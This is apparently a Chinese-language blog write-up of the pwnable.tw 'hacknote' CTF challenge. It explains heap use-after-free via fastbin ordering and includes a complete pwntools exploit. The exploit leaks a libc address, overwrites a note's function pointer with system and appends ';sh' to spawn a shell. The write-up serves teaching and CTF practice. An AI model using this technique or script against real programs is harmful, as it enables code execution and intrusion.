use after free, 以hacknote为例

前言

最近学习了一波pwn堆溢出的use after free类型。现在来以一道例题pwnable_hacknote来加深巩固一下。

use after free原理

use after free利用得最多的是fastbin先进后出,是一个和free顺序反向的单链表,以及会优先分配满足大小的chunk给malloc。
因为这些特性,我们可以连续free两个堆块a, b ,并malloc一个大小合适的堆块c,使得系统将a, b的空间分配给c(分配顺序为b,a),那么我们对c进行合理的溢出,使得能够控制堆块a,再使用题目提供的程序功能对堆块a进行操作(如打印等),造成数据泄露,getshell。

Ida界面

这个程序是一个标准的记事本类型,为32位程序。直接看函数:

add

show

show

delete

逻辑梳理

值得注意的是,在add函数中,程序自定义了一个puts函数,输出的是参数地址的后四位的内容。

这个程序可以分析得出,变量ptr是一个结构体,有两个成员,分别为一个函数指针,存放自定义puts;一个为content,存放输入数据。

delete函数中,free之后没有将指针置0,存在漏洞。对于这种结构的结构体,根据我的理解,use after free可以任意控制这两个成员为任意内容。即可以根据fastbin的特性,可以利用use after free来泄露函数地址、覆盖地址为system。

Exp

#coding=utf-8
from pwn import *
from LibcSearcher import *
#context.log_level = 'DEBUG'
#p = remote("chall.pwnable.tw",10102)
p = remote("node4.buuoj.cn", 29156)
elf = ELF('./hacknote')

def add(size, content):
p.recvuntil('choice :')
p.sendline(str(1))
p.recvuntil('size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.sendline(content)

def delete(index):
p.recvuntil('choice :')
p.sendline(str(2))
p.recvuntil('Index :')
p.sendline(str(index))

def show(index):
p.recvuntil('choice :')
p.sendline(str(3))
p.recvuntil('Index :')
p.sendline(str(index))

puts_addr = 0x804862B
atoi_got = elf.got['atoi']
add(0x20, 'aaa')
add(0x20, 'bbb')
delete(0)
delete(1) #此时fastbin指向:1->0
payload = p32(puts_addr) + p32(atoi_got) #使用自定义的puts函数泄露后四位的地址,
#即atoi地址
add(0x8, payload) #依次分配chunk1前四位,chunk0前四位,
#由于程序会把puts函数赋给chunk1前四位,于是使用payload溢出8位到
#chunk0
show(0) #泄露atoi地址
atoi_addr = u32(p.recv()[:4])
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
delete(1) #这里free chunk1或者free chunk2都是一样的效果,
#不改变都会指向chunk0的结果
payload = p32(system_addr) + ';sh'
add(0x8, payload) #再次溢出chunk0
show(0) #此时执行atoi即为执行system
p.interactive()

至于为什么使用;sh,是因为将函数指针由puts替换为了system,此时不会再往后读取4位。执行show函数即执行system(p32(system);sh),这里的p32(system)并不是系统中的程序,所以会继续执行后面的sh。把分号换成其他符号如||&同样效果。

总结

遇到函数指针,可以考虑fastbin特性。仍需努力学习。

文章作者: Leaflag
文章链接: https://www.leaflag.cn/2021/09/19/use after free, 以hacknote为例/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 LeaflagのBlog